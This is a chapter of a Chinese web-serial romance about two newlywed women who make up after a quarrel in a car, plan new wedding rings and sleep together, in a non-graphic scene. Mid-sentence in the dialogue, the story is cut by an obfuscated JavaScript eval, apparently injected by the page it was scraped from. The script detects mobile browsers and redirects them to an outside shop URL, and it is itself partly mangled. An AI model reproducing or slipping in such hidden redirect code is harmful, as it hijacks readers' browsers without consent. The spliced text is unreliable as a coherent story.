13.忽然结婚啦:13

作品:《和冰山大小姐先婚后爱

    这句“混账”,给温言骂懵了。


    那团黑色蕾丝静静躺在温言掌心,像一纸无从抵赖的罪证,在阅读灯下泛着湿润的暧昧光泽。


    温言的大脑在短暂空白后,迅速启动了遇到意外状况时的分析模式。


    客观,冷静,排除干扰因素。


    首先,物品属性确认:女性内裤,黑色,蕾丝材质,纯棉衬里。


    其次,状态分析:使用中,有湿润痕迹。


    最后,情境还原:属于靳子衿,应于一个半小时前在后续处理时褪下,被折叠后放入口袋……


    逻辑链条清晰。


    但逻辑解决不了此刻靳子衿眼中几乎要喷薄而出的羞愤。


    “你……”靳子衿的胸口微微起伏,那张秾丽的脸因情绪激动而更加生动,眼尾绯红蔓延至耳根,“你竟然让我……揣着这个……在饭桌上坐了整整一个小时。”


    她试图维持平日里的冷冽语气,可声音里那一丝不易察觉的颤抖出卖了她。


    温言听出来了,靳子衿被自己欺负惨了。


    她眨了眨眼,低头又看了看掌心那团柔软的黑色,然后做了一个让靳子衿差点噎住的举动。


    温言用指尖轻轻拈起那小块布料,就着灯光,非常认真地观察了两秒。


    “纯棉衬里吸湿性很好。”温言开口,声音是她一贯的平静,甚至带着点学术探讨的意味,“蕾丝钩花是意大利工艺,缝隙设计应该考虑了透气性。不过……”


    她抬起眼,看向已经目瞪口呆的靳子衿,诚恳地补充:“长时间潮湿环境贴合皮肤,即使是优质面料,也可能增加局部感染风险。”


    “脱下来是一个明智的选择,你做得很好。”


    跟处理什么跌打损伤似的,听得靳子衿一愣一愣。


    她张了张嘴,一时间竟不知道该先骂“谁要跟你探讨这个”,还是该质问“你现在是在给我做健康科普吗”。


    几秒后,她终于找回了自己的声音,咬牙切齿:“温、言!”


    温言应得很快,神色乖巧:“我在的。”


    她把那团蕾丝轻轻托在手心,像处理什么重要标本一样摆放端正,然后抬起头,直视靳子衿燃烧的眼睛。


    “是我的错。”她承认得很干脆,没有找借口,“当时情况紧急,我应该帮你处理的。”


    “如果知道你会脱下来,我会放在我的口袋里。”


    靳子衿:……


    这是放在口袋里的事情吗?


    啊。


    靳子衿要气疯了。


    她涨红着脸,咬牙看着温言:“你这个……你这个……”


    温言捧着手里的小玩意,静静地等着她的下一句话。


    靳子衿都要气炸了。


    她伸手一把抓住温言手里的东西,再次朝她砸了过去。


    温言也不生气,被她砸了之后立马接住,捧在手上,问她:“还要再来一次吗?”


    靳子衿沉默了:……


    片刻之后,她拿起那条软云,再次砸了过去。


    一连砸了好家伙,温言都乖乖的,像只可爱的小狗,每次扔出去都会把东西捡回来,递到靳子衿面前。


    靳子衿看着她那张脸,又气又恼,恨不得伸手狠狠去掐她几笔。


    “禽兽!”


    “嗯。”


    “坏蛋。”


    “嗯。”


    “大变态。”


    “……”


    “混蛋!”


    “是我。”


    靳子衿骂着骂着,语气开始变软,脸上的红霞却丝毫未褪:“你就让我在那里坐着,也不帮帮我。”


    温言仰头看着女人泛红的眼眶,整个人都艳丽又脆弱,心软得一塌糊涂。


    “对不起。”温言又说了一遍,这次声音低了些,也更沉了些,“是我的错。”


    她向前倾身,从对面座椅上起身,很自然地坐到了靳子衿身边。


    劳斯莱斯宽敞的后座,两人之间的距离本就不远,这一坐,几乎是肩挨着肩。


    靳子衿下意识想往旁边挪一点,维持一点气势,但温言的手已经轻轻握住了她的手腕,柔声开口:“我也是第一次遇到这样的事情,没有什么经验。”


    “当时在卧室,你实在是太可爱了,我情难自制,所以控制不住自己,做下这么禽兽的事情,并没有不尊重你的意思。”


    她的歉意,就和她这个人,一样诚恳。


    靳子衿有些扭捏,绯着脸说:“我没有不想,只是……”


    好吧,她尴尬,她说不下去。


    温言握着她的手,柔柔地望着她:“但你生气了。”


    “我让你恼怒了,这就是我的错。”


    “我不知道怎么哄你,你告诉我,怎么样才能让你消气?”


    温言晃了晃靳子衿的手,满心满眼都是她:“嗯?”


    靳子衿看着她眼底的诚恳,一时半会不知道怎么接话。


    车厢内再次安静下来。


    窗外的霓虹依旧流转,在两人侧脸上投下明明灭灭的光影。


    隔音极好的车厢将整个世界隔绝在外,只剩下空调轻微的送风声,以及彼此的呼吸声。


    靳子衿忽然就不那么气了。


    温言这种毫无技巧可言的笨拙坦诚,像一把钝刀,轻易就撬开了她层层武装的心防。


    她抬起手,揉了揉温言的耳朵,脸上还带着绯色:“你下次,不能再这样了。”


    “好。”温言应得很快,“不会有下次。”


    她想了想,又补充:“或者,下次我会记得先帮你处理好。”


    靳子衿嗔了她一眼,说:“你先把这个处理好再说吧。”


    温言从善如流:“那我现在就收好。”


    她伸手将车椅上的那团黑色蕾丝收好,团吧团吧,准备塞进她的口袋中。


    就在这时,靳子衿却将东西一把夺了过去,迅速塞进自己外套口袋里,动作快得几乎带风。


    温言看着她泛红的耳尖,唇角很轻微地勾了一下。


    “笑什么?”靳子衿敏锐地捕捉到那个弧度,立刻瞪过来。


    “没笑。”温言立刻收敛表情,恢复成那副端正老实的模样,“只是觉得你很可爱。”


    靳子衿心跳漏了一拍。


    她抿了抿唇,强装镇定:“少来这套。”


    “是真的。”温言的声音很轻,在密闭的车厢里却异常清晰,“生气的样子,害羞的样子,还有刚才在房间里,咬着我肩膀发抖的样子,都很可爱。”


    靳子衿感觉自己的脸在烧。


    她猛地转过头,再次看向窗外,只留给温言一个泛红的侧脸和微微绷紧的下颌线。


    “温言。”她叫她的名字,声音里带着警告。


    “嗯。”


    “闭嘴。”


    “好。”


    温言果然不再说话。


    但她也没有坐回对面,而是依旧坐在靳子衿身边,肩膀轻轻挨着她的肩膀。


    她的体温透过薄薄的衬衫衣料传递过来,是一种稳定而令人安心的暖意。


    车子平稳地行驶在夜色中,朝着城东的豪宅区驶去。


    许久,靳子衿才低声开口,语气已经平静了许多,只剩下一点残余的别扭:“回家再跟你算账。”


    温言侧头看她:“怎么算?”


    “还没想好。”靳子衿哼了一声,“总之你等着。”


    “好。”温言应着,停顿片刻,又轻声说,“等多久都可以。”


    靳子衿的心脏,又不争气地软了一块。


    她看向温言,伸手指向一旁的车窗:“你,靠那边去,坐好。”


    温言按照她的要求挪过去坐好,靳子衿拢着大衣外套,脑袋往她身上一靠,整个人都依偎进她的怀里。


    温言低头,看着靳子衿抱着手臂窝在她怀里,打了个哈欠:“回家之前,你就当我的人肉垫子,好好伺候我。”


    温言笑了。


    她看着靳子衿长长的睫毛垂落在眼睫,说了声好。


    话音落下,温言伸手,将靳子衿揽入怀中,让她舒服地靠在自己怀里。


    靳子衿没有再说话,而是闭上了眼睛。


    车内阅读灯不知何时被温言调暗了。


    昏暗的光线里,温言看着靳子衿在自己怀里假寐的侧脸,目光在她微微颤动的睫毛上停留片刻,然后伸手揉了揉她的发。


    她的动作很轻柔,像触碰一个易碎的梦。


    ————————


    回到进家庄园,已经是凌晨十一点了。


    靳子衿没有什么“算账”的力气,两人到家之后,开始分别洗漱。


    主卧外的浴室水声停了。


    温言顶着半干的头发走进来,看见靳子衿已经坐在了那张Kingsize大床的中央。


    女人换上了丝质的墨绿色睡袍,腰带松松系着,露出锁骨下一小片白皙的皮肤。


    她背靠床头,膝上摊着一本硬壳精装书,但眼神并没落在字页上,而是望着卧室的方向,像是在等什么。


    昏黄的床头灯在她侧脸投下柔和的阴影,让她平日凌厉的轮廓软化了几分。


    温言脚步顿了一下。


    靳子衿抬起眼,发号施令道:“过来,给我吹头发。”


    语气自然得仿佛这是她们之间延续多年的惯例。


    温言走过去,在床沿坐下,拿起出现在床头柜的吹风机,开始插电。


    插好吹风机电源的间隙,她听见靳子衿合上书页的轻响。


    温言打开吹风机最低档的暖风,手指先探入靳子衿半湿的发间试了试温度,状似随意地问,“平时都谁给你吹头发?”


    风噪声里,靳子衿的声音有些模糊,但足够清晰:“平时在家我不洗头。”


    温言的手顿了顿。


    靳子衿补充道,语气平淡得像在说今天的天气:“一般约在办公室,造型师上/门/服务。”


    温言:“……”


    她沉默地继续手上的动作,指尖穿梭在浓密微卷的黑发间,感受着发丝在热风下逐渐变得轻盈干燥,摇头笑了一下。


    她的妻子,可真是个皇帝。


    连洗头吹发都要在“办公时间”由专人处理,仿佛私人时间与身体护理是两件需要严格区分的事务。


    暖风嗡嗡作响,空气里弥漫开洗发水清冽的雪松尾调,混合着靳子衿身上淡淡的柑橘暖香,暧昧又迷离。


    温言不自觉地将动作放轻,像在对待什么珍贵易损的工艺品。


    就在她以为靳子衿会在暖风里昏昏欲睡时,对方忽然开口:“右手给我。”


    温言关掉吹风机:“嗯?”


    “手。”


    靳子衿重复,已经转过身,朝她伸出自己的手掌。


    温言不明所以,但还是把右手递了过去。


    靳子衿握住她的手腕,指腹顺着她修长的手指一根根抚过,最后停在了无名指的指根处。


    “今天在饭桌上,”靳子衿垂着眼,拇指摩挲着那处皮肤,语气平静无波,“你表姐一直在看你的手。。”


    温言愣了一下,她完全没注意到。


    靳子衿抬起眼,目光锐利:“她在看你右手的无名指。”


    她松开温言的手,身体向后靠回床头,抱起手臂:“看你的手上,没有戒指,所以在不断确认我们俩的关系是不是表现出来的那么好。”


    温言沉默地看着自己空空的无名指,陷入了沉思。


    她是突然被推到台前的。


    原本的戒指是照着她哥哥温辰的尺寸做的,尽管她的手指已经比一般女孩子要大一些,但还是显得大了。


    不合适。


    再加上一直做手术,所以她婚礼之后,一直没有戴。


    温言意识到自己今天的演出失误了,抬眸看向靳子衿,语气诚恳:“抱歉,今天是我没有考虑周全。”


    “下次一定会戴。”


    靳子衿却挥挥手,不甚在意道:“没事,我今天也没戴,因为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973565|193453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那又不是我们的婚戒。”


    她仰头看着温言,女人的面庞在夜灯下格外明艳:“温言……”


    她唤,语气平静得像是在陈述:“我们得重新做一对婚戒,这段时间,你和我都挑挑自己喜欢的戒指样式吧。”


    话音落下,卧室里陷入短暂的安静。


    只有加湿器喷出细微水雾的嘶嘶声。


    温言看着靳子衿。


    女人坐在暖光里,表情依旧淡淡的,仿佛刚才说的只是“明天早餐吃三明治”这样平常的事。


    靳子衿注意到了。


    注意到了那些连温言自己都忽略的探究视线,注意到了她们婚姻里目前缺少的地方……


    她不仅注意到了,她还计划去修正。


    她是真的,很看重这段婚姻,很看重自己。


    心脏像是被一只温暖的手轻轻攥住,酸胀的暖流从心口涌向四肢百骸。


    温言张了张嘴,却发现自己发不出声音。


    任何语言在此刻都显得苍白。


    她觉得全身都在烧。


    温言忽然倾身向前,捧住靳子衿的脸,大拇指抚摸着对方微张的唇瓣,哑声问:“要做吗?”


    靳子衿明显怔住了。


    她似乎没跟上这跳跃的思维,眼神里掠过一丝真实的困惑:“……什么?”


    但温言没有给她厘清疑问的时间。


    她低头,吻了上去。


    这个吻带着明确的侵略性,急切,深入,甚至有些鲁莽。


    温言的手从靳子衿的脸颊滑到她后颈,掌心贴着那截优雅的弧度,稍稍用力,将两人的距离缩至为零。


    靳子衿的呼吸窒了一瞬。


    随即,她闭上了眼。


    没有推开,没有质问,甚至没有一丝犹豫。


    她抬起手臂,环住了温言的脖颈,指尖没入对方柔软的发间。


    这是一个无声的许可,一场默契的共谋。


    吻逐渐失控。


    温言的身体压下来,将靳子衿困在自己与床头之间。


    睡袍的腰带不知何时被扯松,丝滑的布料顺着肩线滑落。


    暖黄的灯光流淌过暴露的皮肤,镀上一层蜂蜜般的光泽。


    靳子衿在换气的间隙喘息,声音又软又黏:“你……突然发什么疯……”


    温言吻着她的下颌,齿尖轻轻磨蹭那处细腻的皮肤,哑声回应:“不知道。”


    她是真的不知道。


    只觉得胸腔里那股汹涌的情绪必须找到一个出口。


    感激,触动,归属感,还有一些连她自己都未曾明辨的占有欲……


    所有这些混杂在一起,最终都化为此刻唇齿间最原始的索取。


    她想确认。


    确认靳子衿的温度,确认她的存在,确认这一切是不是真实的。


    明明之前,她从未想过婚姻,伴侣,与自己有什么关系。


    可命运突然转动,她的妻子来到了她的身边。


    这一切都是真的吗?


    不会是个梦吧?


    不然怎么会有这么好的人呢?


    靳子衿似乎听懂了她的未竟之言。


    她低低笑了一声,那笑声闷在喉咙里,带着纵容的意味。


    她抬起腿,膝盖蹭过温言的腰侧,将人更紧密地压向自己。


    “那就……”她的唇贴着温言的耳廓,热气拂过,“做吧。”


    两个字,像点燃最后引线的火星。


    温言不再克制。


    她的手探入睡袍之下,掌心贴住靳子衿腰侧温热的皮肤,沿着脊椎的凹陷一路向上。


    骨科医生对骨骼与肌肉的熟悉,在此刻化为另一种形式的精准。


    她知道按哪里会让对方轻颤,也知道抚过哪段脊节会引发压抑的呜咽。


    靳子衿的呼吸彻底乱了。


    她仰起脖颈,像濒死的天鹅,将自己最脆弱的弧度暴露在温言唇下。


    温言顺从地吻上去,在那起伏的曲线上留下湿热的痕迹。


    窗外夜色浓稠,万籁俱寂。


    只有这间卧室里,交织的呼吸与压抑的低吟,构成了整个世界唯一的声响。


    不知过了多久。


    激烈的浪潮终于缓缓退去,余波仍在四肢百骸里荡漾。


    温言伏在靳子衿身上,额头抵着她的肩窝,平复着呼吸。


    两人身上都覆着一层薄汗,皮肤相贴处黏腻温热。


    靳子衿的手有一下没一下地抚着温言汗湿的后背,指尖无意识地在那些清晰的肩胛骨轮廓上画着圈。


    许久,温言才闷闷地开口,声音还带着情欲褪去后的沙哑:“谢谢。”


    靳子衿的手停住了。


    “谢什么?”她问,声音也有些哑,却多了几分慵懒的柔软。


    “戒指。”温言说,顿了顿,“还有……所有。”


    靳子衿沉默了片刻。


    她抬起手,轻轻揉了揉温言的后脑勺。


    动作很轻,像在安抚某种不安动物:“这是我应该做的。”


    所以你不用谢啊,因为我们是彼此的伴侣。


    没有多余的承诺,没有煽情的回应,但温言听懂了。


    她“嗯”了一声,从靳子衿身上滑下来,躺到她身侧,第一次主动伸出手臂,将人圈进自己怀里。


    靳子衿非常喜欢她的主动,她调整了一个更舒适的姿势,将脸埋进温言的肩窝。


    床头灯还亮着,在两人交叠的身体上投下温暖的光晕。


    温言看着靳子衿在自己怀中逐渐放松的睡颜,目光最后落在她搭在自己腰间,那只骨节分明的手上。


    无名指的位置,空空如也。


    但很快,就不会是了。


    真好啊,她有老婆唉。


    而且老婆还这么好,温言你也太走运了吧。


    你果然运气好到爆炸了。


    她伸手握住靳子衿的手,低头吻了吻她的发顶,然后伸手,关掉了灯,闭上了眼睛。